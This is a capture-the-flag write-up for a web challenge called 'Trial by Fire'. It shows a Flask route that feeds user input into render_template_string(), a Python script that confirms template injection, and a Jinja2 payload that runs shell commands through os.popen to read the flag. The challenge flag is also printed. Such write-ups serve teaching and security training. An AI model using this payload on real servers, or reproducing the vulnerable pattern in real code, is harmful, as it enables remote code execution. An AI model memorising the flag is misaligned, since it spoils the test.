Trial by Fire

Synopsis

Trial by Fire is a very easy web challenge. Players will utlise SSTI to gain RCE.

Skills Required

  • Knowledge of Python

  • Knowledge of Jinja2

Skills Learned

  • Performing Server-Side Template Injection

Solution

When we visit the site, we're greeted with a form that accepts the "warrior's" name.

Then we are greeted with a turn-based game. We can perform attacks and the dragon responds.

After the game ends, we have a statistics page showed.

Looking at the source code, we find out that the battle-report is passing user input to the render_template_string() function, which is a clear indicator that the application is vulnerable to SSTI

@web.route('/battle-report', methods=['POST'])
def battle_report():
    stats = {
        . . .
        'damage_dealt': request.form.get('damage_dealt', "0"),
        'turns_survived': request.form.get('turns_survived', "0")
        . . .
    }

    REPORT_TEMPLATE = f"""
        . . .
        <p class="title">Battle Statistics</p>
        <p>🗡️ Damage Dealt: <span class="nes-text is-success">{stats['damage_dealt']}</span></p>
        . . .
        <p>⏱️ Turns Survived: <span class="nes-text is-primary">{stats['turns_survived']}</span></p>
        . . .
    """

    return render_template_string(REPORT_TEMPLATE)

We can confirm the SSTI by running a payload like {{ 7 * 7 }}.

import requests

BASE_URL = "http://127.0.0.1:1337"

payload = "{{ 7 * 7 }}"

response = requests.post(f"{BASE_URL}/battle-report", data={
    "damage_dealt": payload
})

print(response.text) # <p>🗡️ Damage Dealt: <span class="nes-text is-success">49</span></p>

Now using the payload below we can get system command execution from SSTI, and we get the flag!

{{ url_for.__globals__.sys.modules.os.popen('cat flag.txt').read() }}

Flag

  • HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght}

Last updated

Was this helpful?